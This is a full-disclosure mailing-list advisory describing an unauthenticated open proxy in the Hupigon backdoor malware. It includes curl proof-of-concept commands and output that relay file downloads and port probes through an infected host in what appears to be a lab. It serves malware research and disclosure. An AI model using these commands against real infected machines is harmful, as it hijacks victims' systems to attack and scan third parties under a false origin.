full-disclosure - [FD] Backdoor.Win32.Hupigon.gy / Unauthenticated Open Proxy

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Date: Tue, 5 Oct 2021 19:58:49 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Hupigon.gy / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.gy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party
attackers who can connect to the infected system can relay requests
from the original connection to the destination and then back to the
origination system. Attackers may then be able to launch attacks,
download files or port scan third party systems and it will appear as
the attacks originated from that infected host.
Type: PE32
MD5: be74cbb86c007309d8004d910f5270f7
Vuln ID: MVID-2021-0357
Dropped files: woaisaomm.exe
Disclosure: 10/04/2021

Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128"
--output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  12288      0  0:00:02  0:00:02 --:--:-- 11155

Scan ports)

curl http://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.

curl http://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <25705.1632630840@...3host>
-ERR Unknown command.

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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